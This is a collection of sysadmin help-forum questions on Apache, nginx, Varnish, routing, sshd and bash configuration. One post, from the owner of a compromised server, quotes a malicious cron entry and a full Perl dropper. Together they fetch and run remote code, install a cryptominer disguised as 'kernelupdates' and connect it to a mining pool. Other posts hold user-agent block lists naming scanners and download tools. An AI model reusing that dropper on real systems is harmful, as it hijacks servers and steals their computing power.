^tAkeOut [OR] RewriteCond %{HTTP_USER_AGENT} ^Teleport\ Pro [OR] RewriteCond %{HTTP_USER_AGENT} ^VoidEYE [OR] RewriteCond %{HTTP_USER_AGENT} ^Web\ Image\ Collector [OR] RewriteCond %{HTTP_USER_AGENT} ^Web\ Sucker [OR] RewriteCond %{HTTP_USER_AGENT} ^WebAuto [OR] RewriteCond %{HTTP_USER_AGENT} ^WebCopier [OR] RewriteCond %{HTTP_USER_AGENT} ^WebFetch [OR] RewriteCond %{HTTP_USER_AGENT} ^WebGo\ IS [OR] RewriteCond %{HTTP_USER_AGENT} ^WebLeacher [OR] RewriteCond %{HTTP_USER_AGENT} ^WebReaper [OR] RewriteCond %{HTTP_USER_AGENT} ^WebSauger [OR] RewriteCond %{HTTP_USER_AGENT} ^Website\ eXtractor [OR] RewriteCond %{HTTP_USER_AGENT} ^Website\ Quester [OR] RewriteCond %{HTTP_USER_AGENT} ^WebStripper [OR] RewriteCond %{HTTP_USER_AGENT} ^WebWhacker [OR] RewriteCond %{HTTP_USER_AGENT} ^WebZIP [OR] RewriteCond %{HTTP_USER_AGENT} ^Wget [OR] RewriteCond %{HTTP_USER_AGENT} ^Widow [OR] RewriteCond %{HTTP_USER_AGENT} ^WWWOFFLE [OR] RewriteCond %{HTTP_USER_AGENT} ^Xaldon\ WebSpider [OR] RewriteCond %{HTTP_USER_AGENT} ^Zeus RewriteRule ^.*$ http://www.google.com [R,L] # Protect against DOS attacks by limiting file upload size LimitRequestBody 10240000 # Deny access to sensitive files <FilesMatch "\.(htaccess|psd|log)$"> Order Allow,Deny Deny from all </FilesMatch>

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bash: per-command history. How does it work?

- by romainl

OK. I have an old G5 running Leopard and a Dell running Ubuntu 10.04 at home and a MacPro also running Leopard at work. I use Terminal.app/bash a lot. On my home G5 it exhibits a nice feature: using ? to navigate history I get the last command starting with the few letters that I've typed. This is what I mean (| represents the caret): $ ssh user@server $ vim /some/file/just/to/populate/history $ ss| So, I've typed the two first letters of "ssh", hitting ? results in this: $ ssh user@server instead of this, which is the behaviour I get everywhere else : $ vim /some/file/just/to/populate/history If I keep on hitting ? or ?, I can navigate through the history of ssh like this: $ ssh otheruser@otherserver $ ssh user@server $ ssh yetanotheruser@yetanotherserver It works the same for any command like cat, vim or whatever. That's really cool. Except that I have no idea how to mimic this behaviour on my other machines. Here is my .profile: export PATH=/Developer/SDKs/flex_sdk_3.4/bin:/opt/local/bin:/opt/local/sbin:/usr/local/bin:/sw/bin:/sw/sbin:/bin:/sbin:/bin:/sbin:/usr/bin:/usr/sbin:$HOME/Applications/bin:/usr/X11R6/bin export MANPATH=/usr/local/share/man:/usr/local/man:opt/local/man:sw/share/man export INFO=/usr/local/share/info export PERL5LIB=/opt/local/lib/perl5 export PYTHONPATH=/opt/local/bin/python2.7 export EDITOR=/opt/local/bin/vim export VISUAL=/opt/local/bin/vim export JAVA_HOME=/System/Library/Frameworks/JavaVM.framework/Versions/1.6.0/Home export TERM=xterm-color export GREP_OPTIONS='--color=auto' GREP_COLOR='1;32' export CLICOLOR=1 export LS_COLORS='no=00:fi=00:di=01;34:ln=target:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:*.tar=00;31:*.tgz=00;31:*.arj=00;31:*.taz=00;31:*.lzh=00;31:*.zip=00;31:*.z=00;31:*.Z=00;31:*.gz=00;31:*.bz2=00;31:*.deb=00;31:*.rpm=00;31:*.TAR=00;31:*.TGZ=00;31:*.ARJ=00;31:*.TAZ=00;31:*.LZH=00;31:*.ZIP=00;31:*.Z=00;31:*.Z=00;31:*.GZ=00;31:*.BZ2=00;31:*.DEB=00;31:*.RPM=00;31:*.jpg=00;35:*.png=00;35:*.gif=00;35:*.bmp=00;35:*.ppm=00;35:*.tga=00;35:*.xbm=00;35:*.xpm=00;35:*.tif=00;35:*.png=00;35:*.fli=00;35:*.gl=00;35:*.dl=00;35:*.psd=00;35:*.JPG=00;35:*.PNG=00;35:*.GIF=00;35:*.BMP=00;35:*.PPM=00;35:*.TGA=00;35:*.XBM=00;35:*.XPM=00;35:*.TIF=00;35:*.PNG=00;35:*.FLI=00;35:*.GL=00;35:*.DL=00;35:*.PSD=00;35:*.mpg=00;36:*.avi=00;36:*.mov=00;36:*.flv=00;36:*.divx=00;36:*.qt=00;36:*.mp4=00;36:*.m4v=00;36:*.MPG=00;36:*.AVI=00;36:*.MOV=00;36:*.FLV=00;36:*.DIVX=00;36:*.QT=00;36:*.MP4=00;36:*.M4V=00;36:*.txt=00;32:*.rtf=00;32:*.doc=00;32:*.odf=00;32:*.rtfd=00;32:*.html=00;32:*.css=00;32:*.js=00;32:*.php=00;32:*.xhtml=00;32:*.TXT=00;32:*.RTF=00;32:*.DOC=00;32:*.ODF=00;32:*.RTFD=00;32:*.HTML=00;32:*.CSS=00;32:*.JS=00;32:*.PHP=00;32:*.XHTML=00;32:' export LC_ALL=C export LANG=C stty cs8 -istrip -parenb bind 'set convert-meta off' bind 'set meta-flag on' bind 'set output-meta on' alias ip='curl http://www.whatismyip.org | pbcopy' alias ls='ls -FhLlGp' alias la='ls -AFhLlGp' alias couleurs='$HOME/Applications/bin/colors2.sh' alias td='$HOME/Applications/bin/todo.sh' alias scale='$HOME/Applications/bin/scale.sh' alias stree='$HOME/Applications/bin/tree' alias envoi='$HOME/Applications/bin/envoi.sh' alias unfoo='$HOME/Applications/bin/unfoo' alias up='cd ..' alias size='du -sh' alias lsvn='svn list -vR' alias jsc='/System/Library/Frameworks/JavaScriptCore.framework/Versions/A/Resources/jsc' alias asl='sudo rm -f /private/var/log/asl/*.asl' alias trace='tail -f $HOME/Library/Preferences/Macromedia/Flash\ Player/Logs/flashlog.txt' alias redis='redis-server /opt/local/etc/redis.conf' source /Users/johncoltrane/Applications/bin/git-completion.sh export GIT_PS1_SHOWUNTRACKEDFILES=1 export GIT_PS1_SHOWUPSTREAM="verbose git" export GIT_PS1_SHOWDIRTYSTATE=1 export PS1='\n\[\033[32m\]\w\[\033[0m\] $(__git_ps1 "[%s]")\n\[\033[1;31m\]\[\033[31m\]\u\[\033[0m\] $ \[\033[0m\]' mkcd () { mkdir -p "$*" cd "$*" } function cdl { cd $1 la } n() { $EDITOR ~/Dropbox/nv/"$*".txt } nls () { ls -c ~/Dropbox/nv/ | grep "$*" } copy(){ curl -s -F 'sprunge=<-' http://sprunge.us | pbcopy } if [ -f /opt/local/etc/profile.d/cdargs-bash.sh ]; then source /opt/local/etc/profile.d/cdargs-bash.sh fi if [ -f /opt/local/etc/bash_completion ]; then . /opt/local/etc/bash_completion fi Any idea?

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Static route works on one computer, not the other

- by Dan

I have been struggling with this for a couple days now, maybe I just need some people with a fresh perspective to figure out what the issue is. Basically I have a bunch of computers that are being routed through a specific gateway in order to access a web page that is hosted internally on a separate subnet. I set up static routes on all of the computers, and they all work... except one. Here's what a route print -4 looks like for a working computer (Windows 7): =========================================================================== Interface List 14...xx xx xx xx xx xx ......Broadcom 802.11n Network Adapter 11...xx xx xx xx xx xx ......Realtek PCIe GBE Family Controller 1...........................Software Loopback Interface 1 12...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter 13...00 00 00 00 00 00 00 e0 Microsoft 6to4 Adapter 17...00 00 00 00 00 00 00 e0 Teredo Tunneling Pseudo-Interface =========================================================================== IPv4 Route Table =========================================================================== Active Routes: Network Destination Netmask Gateway Interface Metric 0.0.0.0 0.0.0.0 10.xxx.xxx.230 10.xxx.xxx.94 20 10.zzz.zzz.0 255.255.255.0 10.xxx.xxx.147 10.xxx.xxx.94 21 10.xxx.xxx.0 255.255.255.0 On-link 10.xxx.xxx.94 276 10.xxx.xxx.94 255.255.255.255 On-link 10.xxx.xxx.94 276 10.xxx.xxx.255 255.255.255.255 On-link 10.xxx.xxx.94 276 127.0.0.0 255.0.0.0 On-link 127.0.0.1 306 127.0.0.1 255.255.255.255 On-link 127.0.0.1 306 127.255.255.255 255.255.255.255 On-link 127.0.0.1 306 224.0.0.0 240.0.0.0 On-link 127.0.0.1 306 224.0.0.0 240.0.0.0 On-link 10.xxx.xxx.94 276 255.255.255.255 255.255.255.255 On-link 127.0.0.1 306 255.255.255.255 255.255.255.255 On-link 10.xxx.xxx.94 276 =========================================================================== Persistent Routes: Network Address Netmask Gateway Address Metric 10.zzz.zzz.0 255.255.255.0 10.xxx.xxx.147 1 =========================================================================== And here's a route print -4 from the station that doesn't work (also Windows 7): =========================================================================== Interface List 10...xx xx xx xx xx xx ......Realtek PCIe GBE Family Controller 1...........................Software Loopback Interface 1 12...00 00 00 00 00 00 00 e0 Microsoft 6to4 Adapter 14...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter #2 16...00 00 00 00 00 00 00 e0 Teredo Tunneling Pseudo-Interface =========================================================================== IPv4 Route Table =========================================================================== Active Routes: Network Destination Netmask Gateway Interface Metric 0.0.0.0 0.0.0.0 10.xxx.xxx.230 10.xxx.xxx.132 276 10.zzz.zzz.0 255.255.255.0 10.xxx.xxx.147 10.xxx.xxx.132 21 10.xxx.xxx.0 255.255.255.0 On-link 10.xxx.xxx.132 276 10.xxx.xxx.132 255.255.255.255 On-link 10.xxx.xxx.132 276 10.xxx.xxx.255 255.255.255.255 On-link 10.xxx.xxx.132 276 127.0.0.0 255.0.0.0 On-link 127.0.0.1 306 127.0.0.1 255.255.255.255 On-link 127.0.0.1 306 127.255.255.255 255.255.255.255 On-link 127.0.0.1 306 224.0.0.0 240.0.0.0 On-link 127.0.0.1 306 224.0.0.0 240.0.0.0 On-link 10.xxx.xxx.132 276 255.255.255.255 255.255.255.255 On-link 127.0.0.1 306 255.255.255.255 255.255.255.255 On-link 10.xxx.xxx.132 276 =========================================================================== Persistent Routes: Network Address Netmask Gateway Address Metric 10.zzz.zzz.0 255.255.255.0 10.xxx.xxx.147 1 =========================================================================== Both of these stations are running Windows 7. So essentially what I am trying to do here is route all traffic to the 10.zzz.zzz.0 subnet through the 10.xxx.xxx.147 gateway. Everything else should go through the 10.xxx.xxx.230 gateway. This is the intended behavior, and again it is working everywhere but that one station. I noticed that the Active Route metric costs differ between the two stations, but I am new to the routing table and I am not sure how that is impacting the behavior. I hope I have been able to explain the situation clearly. Any help would be much appreciated. I can provide any additional information if needed!

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./kernelupdates 100% cpu usage

- by Vaibhav Panmand

I have a CENTOS6 server running with some wordpress & tomcat websites. In the last two days it has been crashing continuously. After investigation we found that kernelupdates binary consuming 100% cpu on server. Process is mentioned below. ./kernelupdates -B -o stratum+tcp://hk2.wemineltc.com:80 -u spdrman.9 -p passxxx But this process seems invalid kernel update. Might be server is compromised and this process is installed by hacker, So I've killed this process & removed apache user's cron entries. But somehow this process started again after couple of hours & cron entries also restored, I am searching for the thing which is modifying cron jobs. Does this process belong to a mining process? How can we stop cronjob modification and clean the source of this process? Cron entry (apache user) /6 * * * * cd /tmp;wget http://updates.dyndn-web.com/.../abc.txt;curl -O http://updates.dyndn-web.com/.../abc.txt;perl abc.txt;rm -f abc* abc.txt #!/usr/bin/perl system("killall -9 minerd"); system("killall -9 PWNEDa"); system("killall -9 PWNEDb"); system("killall -9 PWNEDc"); system("killall -9 PWNEDd"); system("killall -9 PWNEDe"); system("killall -9 PWNEDg"); system("killall -9 PWNEDm"); system("killall -9 minerd64"); system("killall -9 minerd32"); system("killall -9 named"); $rn=1; $ar=`uname -m`; while($rn==1 || $rn==0) { $rn=int(rand(11)); } $exists=`ls /tmp/.ice-unix`; $cratch=`ps aux | grep -v grep | grep kernelupdates`; if($cratch=~/kernelupdates/gi) { die; } if($exists!~/minerd/gi && $exists!~/kernelupdates/gi) { $wig=`wget --version | grep GNU`; if(length($wig>6)) { if($ar=~/64/g) { system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;wget http://5.104.106.190/64.tar.gz;tar xzvf 64.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates"); } else { system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;wget http://5.104.106.190/32.tar.gz;tar xzvf 32.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates"); } } else { if($ar=~/64/g) { system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;curl -O http://5.104.106.190/64.tar.gz;tar xzvf 64.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates"); } else { system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;curl -O http://5.104.106.190/32.tar.gz;tar xzvf 32.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates"); } } } @prts=('8332','9091','1121','7332','6332','1332','9333','2961','8382','8332','9091','1121','7332','6332','1332','9333','2961','8382'); $prt=0; while(length($prt)<4) { $prt=$prts[int(rand(19))-1]; } print "setup for $rn:$prt done :-)\n"; system("cd /tmp/.ice-unix;./kernelupdates -B -o stratum+tcp://hk2.wemineltc.com:80 -u spdrman.".$rn." -p passxxx &"); print "done!\n"; Thanks in advance!

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/usr/bin/sshd isn't linked against PAM on one of my systems. What is wrong and how can I fix it?

- by marc.riera

Hi, I'm using AD as my user account server with ldap. Most of the servers run with UsePam yes except this one, it has lack of pam support on sshd. root@linserv9:~# ldd /usr/sbin/sshd linux-vdso.so.1 => (0x00007fff621fe000) libutil.so.1 => /lib/libutil.so.1 (0x00007fd759d0b000) libz.so.1 => /usr/lib/libz.so.1 (0x00007fd759af4000) libnsl.so.1 => /lib/libnsl.so.1 (0x00007fd7598db000) libcrypto.so.0.9.8 => /usr/lib/libcrypto.so.0.9.8 (0x00007fd75955b000) libcrypt.so.1 => /lib/libcrypt.so.1 (0x00007fd759323000) libc.so.6 => /lib/libc.so.6 (0x00007fd758fc1000) libdl.so.2 => /lib/libdl.so.2 (0x00007fd758dbd000) /lib64/ld-linux-x86-64.so.2 (0x00007fd759f0e000) I have this packages installed root@linserv9:~# dpkg -l|grep -E 'pam|ssh' ii denyhosts 2.6-2.1 an utility to help sys admins thwart ssh hac ii libpam-modules 0.99.7.1-5ubuntu6.1 Pluggable Authentication Modules for PAM ii libpam-runtime 0.99.7.1-5ubuntu6.1 Runtime support for the PAM library ii libpam-ssh 1.91.0-9.2 enable SSO behavior for ssh and pam ii libpam0g 0.99.7.1-5ubuntu6.1 Pluggable Authentication Modules library ii libpam0g-dev 0.99.7.1-5ubuntu6.1 Development files for PAM ii openssh-blacklist 0.1-1ubuntu0.8.04.1 list of blacklisted OpenSSH RSA and DSA keys ii openssh-client 1:4.7p1-8ubuntu1.2 secure shell client, an rlogin/rsh/rcp repla ii openssh-server 1:4.7p1-8ubuntu1.2 secure shell server, an rshd replacement ii quest-openssh 5.2p1_q13-1 Secure shell root@linserv9:~# What I'm doing wrong? thanks. Edit: root@linserv9:~# cat /etc/pam.d/sshd # PAM configuration for the Secure Shell service # Read environment variables from /etc/environment and # /etc/security/pam_env.conf. auth required pam_env.so # [1] # In Debian 4.0 (etch), locale-related environment variables were moved to # /etc/default/locale, so read that as well. auth required pam_env.so envfile=/etc/default/locale # Standard Un*x authentication. @include common-auth # Disallow non-root logins when /etc/nologin exists. account required pam_nologin.so # Uncomment and edit /etc/security/access.conf if you need to set complex # access limits that are hard to express in sshd_config. # account required pam_access.so # Standard Un*x authorization. @include common-account # Standard Un*x session setup and teardown. @include common-session # Print the message of the day upon successful login. session optional pam_motd.so # [1] # Print the status of the user's mailbox upon successful login. session optional pam_mail.so standard noenv # [1] # Set up user limits from /etc/security/limits.conf. session required pam_limits.so # Set up SELinux capabilities (need modified pam) # session required pam_selinux.so multiple # Standard Un*x password updating. @include common-password Edit2: UsePAM yes fails With this configuration ssh fails to start : root@linserv9:/home/admmarc# cat /etc/ssh/sshd_config |grep -vE "^[ \t]*$|^#" Port 22 Protocol 2 ListenAddress 0.0.0.0 RSAAuthentication yes PubkeyAuthentication yes AuthorizedKeysFile .ssh/authorized_keys ChallengeResponseAuthentication yes UsePAM yes Subsystem sftp /usr/lib/sftp-server root@linserv9:/home/admmarc# The error it gives is as follows root@linserv9:/home/admmarc# /etc/init.d/ssh start * Starting OpenBSD Secure Shell server sshd /etc/ssh/sshd_config: line 75: Bad configuration option: UsePAM /etc/ssh/sshd_config: terminating, 1 bad configuration options ...fail! root@linserv9:/home/admmarc#

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Trouble in Nginx hotlink protection

- by Ayaz Malik

I am trying to implement image hotlink protection problem in nginx and I need help. I have a huge issue of my site's images being submitted to social networks like StumbleUpon with a direct link like http://example.com/xxxxx.jpg Which sometimes gets huge traffic and increases CPU usage and bandwidth usage. I want to block direct access to my images from other referrers and protect them from being hotlinked. Here is the code from my vhost.conf server { access_log off; error_log logs/vhost-error_log warn; listen 80; server_name mydomain.com www.mydomain.com; # uncomment location below to make nginx serve static files instead of Apache # NOTE this will cause issues with bandwidth accounting as files wont be logged location ~* \.(gif|jpg|jpeg|png|wmv|avi|mpg|mpeg|mp4|htm|html|js|css)$ { root /home/username/public_html; expires 1d; } root /home/mydomain/public_html; } location / { client_max_body_size 10m; client_body_buffer_size 128k; proxy_send_timeout 90; proxy_read_timeout 90; proxy_buffer_size 4k; # you can increase proxy_buffers here to suppress "an upstream response # is buffered to a temporary file" warning proxy_buffers 16 32k; proxy_busy_buffers_size 64k; proxy_temp_file_write_size 64k; proxy_connect_timeout 30s; proxy_redirect http://www.mydomain.com:81 http://www.mydomain.com; proxy_redirect http://mydomain.com:81 http://mydomain.com; proxy_pass http://ip_address/; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; expires 24h; } } For hotlink protection I added this code location ~* (\.jpg|\.png|\.gif|\.jpeg)$ { valid_referers blocked www.mydomain.com mydomain.com; if ($invalid_referer) { return 403; } This is the current nginx code for this domain, but it didn't work: server { access_log off; error_log logs/vhost-error_log warn; listen 80; server_name mydomain.com www.mydomain.com; # uncomment location below to make nginx serve static files instead of Apache # NOTE this will cause issues with bandwidth accounting as files wont be logged location ~* \.(gif|jpg|jpeg|png|wmv|avi|mpg|mpeg|mp4|htm|html|js|css)$ { root /home/username/public_html; expires 1d; } root /home/mydomain/public_html; } location ~* (\.jpg|\.png|\.gif|\.jpeg)$ { valid_referers blocked www.mydomain.com mydomain.com; if ($invalid_referer) { return 403; } location / { client_max_body_size 10m; client_body_buffer_size 128k; proxy_send_timeout 90; proxy_read_timeout 90; proxy_buffer_size 4k; # you can increase proxy_buffers here to suppress "an upstream response # is buffered to a temporary file" warning proxy_buffers 16 32k; proxy_busy_buffers_size 64k; proxy_temp_file_write_size 64k; proxy_connect_timeout 30s; proxy_redirect http://www.mydomain.com:81 http://www.mydomain.com; proxy_redirect http://mydomain.com:81 http://mydomain.com; proxy_pass http://ip_address/; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; expires 24h; } } How can I fix this?

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website connection reset on first load

- by Tar

i'm using nginx with php-cgi. lately a problem has arose where if you don't view my site for a while, like 3-4 minutes, and then open it again, the first request you send will return connection reset by peer in the browser. if you refresh, operation is normal for all subsequent requests. this happens every time and it isn't just an isolated incident, it happens to everyone using my site. i've tried to restart nginx and php-cgi but to no avail. does anyone know what the problem could be? i can provide whatever information necessary. it's worth noting that there's nothing in error log besides that message about client closing the connection early. nginx.conf user nobody; worker_processes 4; error_log /var/log/nginx/error.log; pid /var/run/nginx.pid; events { worker_connections 2048; } http { include /etc/nginx/mime.types; error_page 404 /404.html; error_page 403 /403.html; error_page 444 /444.html; error_page 502 /502.html; default_type application/octet-stream; log_format main '$remote_addr - $remote_user [$time_local] "$request" ' '$status $body_bytes_sent "$http_referer" ' '"$http_user_agent" "$http_x_forwarded_for"'; access_log /var/log/nginx/access.log main; large_client_header_buffers 8 8k; sendfile on; tcp_nopush on; tcp_nodelay on; keepalive_timeout 30; server_tokens off; gzip on; gzip_proxied any; gzip_comp_level 6; gzip_buffers 64 8k; gzip_min_length 1024; gzip_http_version 1.1; gzip_types text/plain text/css application/json application/x-javascript text/xml application/xml application/xml+rss text/javascript; include /etc/nginx/conf.d/*.conf; } default.conf server { listen 80; server_name domain.com; error_log /var/log/nginx/error.log debug; access_log /var/log/nginx/access.log; location / { if ($request_method !~ ^(GET|HEAD|POST)$ ) { return 444; } if ($http_user_agent ~* Havij|hvj|acunetix|wget|HTtrack) { return 403; } root /home/admin06/public_html; autoindex off; index index.php; # Images and static content is treated different location ~* ^.+.(jpg|jpeg|gif|css|png|js|ico|xml)$ { access_log off; expires 30d; root /home/admin06/public_html; } location /nginx_status { stub_status on; access_log off;] deny all; } location ~ \.php$ { fastcgi_split_path_info ^(.+\.php)(/.*)$; #try_files $uri =404; fastcgi_pass backend; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME /home/site/public_html$fastcgi_script_name; include fastcgi_params; fastcgi_param QUERY_STRING $query_string; fastcgi_param REQUEST_METHOD $request_method; fastcgi_param CONTENT_TYPE $content_type; fastcgi_param CONTENT_LENGTH $content_length; fastcgi_intercept_errors on; fastcgi_ignore_client_abort off; fastcgi_connect_timeout 60; fastcgi_send_timeout 60; fastcgi_read_timeout 60; fastcgi_buffer_size 128k; fastcgi_buffers 4 256k; fastcgi_busy_buffers_size 256k; fastcgi_temp_file_write_size 256k; } ## Disable viewing .htaccess & .htpassword location ~ /\.ht { deny all; } location ~ error_log { deny all; } location ~ access_log { deny all; } location ~ \.cgi { deny all; } location ~ \.db { deny all; } }

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duplicate cache pages: Varnish

- by Sukhjinder Singh

Recently we have configured Varnish on our server, it was successfully setup but we noticed that if we open any page in multiple browsers, the Varnish send request to Apache not matter page is cached or not. If we refresh twice on each browser it creates duplicate copies of the same page. What exactly should happen: If any page is cached by Varnish, the subsequent request should be served from Varnish itself when we are opening the same page in browser OR we are opening that page from different IP address. Following is my default.vcl file backend default { .host = "127.0.0.1"; .port = "80"; } sub vcl_recv { if( req.url ~ "^/search/.*$") { }else { set req.url = regsub(req.url, "\?.*", ""); } if (req.restarts == 0) { if (req.http.x-forwarded-for) { set req.http.X-Forwarded-For = req.http.X-Forwarded-For + ", " + client.ip; } else { set req.http.X-Forwarded-For = client.ip; } } if (!req.backend.healthy) { unset req.http.Cookie; } set req.grace = 6h; if (req.url ~ "^/status\.php$" || req.url ~ "^/update\.php$" || req.url ~ "^/admin$" || req.url ~ "^/admin/.*$" || req.url ~ "^/flag/.*$" || req.url ~ "^.*/ajax/.*$" || req.url ~ "^.*/ahah/.*$") { return (pass); } if (req.url ~ "(?i)\.(pdf|asc|dat|txt|doc|xls|ppt|tgz|csv|png|gif|jpeg|jpg|ico|swf|css|js)(\?.*)?$") { unset req.http.Cookie; } if (req.http.Cookie) { set req.http.Cookie = ";" + req.http.Cookie; set req.http.Cookie = regsuball(req.http.Cookie, "; +", ";"); set req.http.Cookie = regsuball(req.http.Cookie, ";(SESS[a-z0-9]+|SSESS[a-z0-9]+|NO_CACHE)=", "; \1="); set req.http.Cookie = regsuball(req.http.Cookie, ";[^ ][^;]*", ""); set req.http.Cookie = regsuball(req.http.Cookie, "^[; ]+|[; ]+$", ""); if (req.http.Cookie == "") { unset req.http.Cookie; } else { return (pass); } } if (req.request != "GET" && req.request != "HEAD" && req.request != "PUT" && req.request != "POST" && req.request != "TRACE" && req.request != "OPTIONS" && req.request != "DELETE") {return(pipe);} /* Non-RFC2616 or CONNECT which is weird. */ if (req.request != "GET" && req.request != "HEAD") { return (pass); } if (req.http.Accept-Encoding) { if (req.url ~ "\.(jpg|png|gif|gz|tgz|bz2|tbz|mp3|ogg)$") { # No point in compressing these remove req.http.Accept-Encoding; } else if (req.http.Accept-Encoding ~ "gzip") { set req.http.Accept-Encoding = "gzip"; } else if (req.http.Accept-Encoding ~ "deflate") { set req.http.Accept-Encoding = "deflate"; } else { # unknown algorithm remove req.http.Accept-Encoding; } } return (lookup); } sub vcl_deliver { if (obj.hits > 0) { set resp.http.X-Varnish-Cache = "HIT"; } else { set resp.http.X-Varnish-Cache = "MISS"; } } sub vcl_fetch { if (beresp.status == 404 || beresp.status == 301 || beresp.status == 500) { set beresp.ttl = 10m; } if (req.url ~ "(?i)\.(pdf|asc|dat|txt|doc|xls|ppt|tgz|csv|png|gif|jpeg|jpg|ico|swf|css|js)(\?.*)?$") { unset beresp.http.set-cookie; } set beresp.grace = 6h; } sub vcl_hash { hash_data(req.url); if (req.http.host) { hash_data(req.http.host); } else { hash_data(server.ip); } return (hash); } sub vcl_pipe { set req.http.connection = "close"; } sub vcl_hit { if (req.request == "PURGE") {ban_url(req.url); error 200 "Purged";} if (!obj.ttl > 0s) {return(pass);} } sub vcl_miss { if (req.request == "PURGE") {error 200 "Not in cache";} }

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nginx + php-fpm - where are my $_GET params?

- by egis

I have a strange problem here. I just moved from apache + mod_php to nginx + php-fpm. Everything went fine except this one problem. I have a site, let's say example.com. When I access it like example.com?test=get_param $_SERVER['REQUEST_URI'] is /?test=get_param and there is a $_GET['test'] also. But when I access example.com/ajax/search/?search=get_param $_SERVER['REQUEST_URI'] is /ajax/search/?search=get_param yet there is no $_GET['search'] (there is no $_GET array at all). I'm using Kohana framework. which routes /ajax/search to controller, but I've put phpinfo() at index.php so I'm checking for $_GET variables before framework does anything (this means that disapearing get params aren't frameworks fault). My nginx.conf is like this worker_processes 4; pid logs/nginx.pid; events { worker_connections 1024; } http { index index.html index.php; autoindex on; autoindex_exact_size off; include mime.types; default_type application/octet-stream; server_names_hash_bucket_size 128; log_format main '$remote_addr - $remote_user [$time_local] "$request" ' '$status $body_bytes_sent "$http_referer" ' '"$http_user_agent" "$http_x_forwarded_for"'; access_log logs/access.log main; error_log logs/error.log debug; sendfile on; tcp_nopush on; tcp_nodelay off; keepalive_timeout 2; gzip on; gzip_comp_level 2; gzip_proxied any; gzip_types text/plain text/css application/x-javascript text/xml application/xml application/xml+rss text/javascript; include sites-enabled/*; } and example.conf is like this server { listen 80; server_name www.example.com; rewrite ^ $scheme://example.com$request_uri? permanent; } server { listen 80; server_name example.com; root /var/www/example/; location ~ /\. { return 404; } location / { try_files $uri $uri/ /index.php; } location ~ \.php$ { fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; include /usr/local/nginx/conf/fastcgi_params; } location ~* ^/(modules|application|system) { return 403; } # serve static files directly location ~* ^.+.(jpg|jpeg|gif|css|png|js|ico|html|xml|txt)$ { access_log off; expires 30d; } } fastcgi_params is like this fastcgi_param QUERY_STRING $query_string; fastcgi_param REQUEST_METHOD $request_method; fastcgi_param CONTENT_TYPE $content_type; fastcgi_param CONTENT_LENGTH $content_length; fastcgi_param SCRIPT_NAME $fastcgi_script_name; fastcgi_param REQUEST_URI $request_uri; fastcgi_param DOCUMENT_URI $document_uri; fastcgi_param DOCUMENT_ROOT $document_root; fastcgi_param SERVER_PROTOCOL $server_protocol; fastcgi_param GATEWAY_INTERFACE CGI/1.1; fastcgi_param SERVER_SOFTWARE nginx/$nginx_version; fastcgi_param REMOTE_ADDR $remote_addr; fastcgi_param REMOTE_PORT $remote_port; fastcgi_param SERVER_ADDR $server_addr; fastcgi_param SERVER_PORT $server_port; fastcgi_param SERVER_NAME $server_name; # PHP only, required if PHP was built with --enable-force-cgi-redirect fastcgi_param REDIRECT_STATUS 200; fastcgi_connect_timeout 60; fastcgi_send_timeout 180; fastcgi_read_timeout 180; fastcgi_buffer_size 128k; fastcgi_buffers 4 256k; fastcgi_busy_buffers_size 256k; fastcgi_temp_file_write_size 256k; fastcgi_intercept_errors on; fastcgi_param QUERY_STRING $query_string; fastcgi_param PATH_INFO $fastcgi_path_info; What is the problem here? By the way there are few more sites on the same server, both Kohana based and plain php, that are working perfectly.

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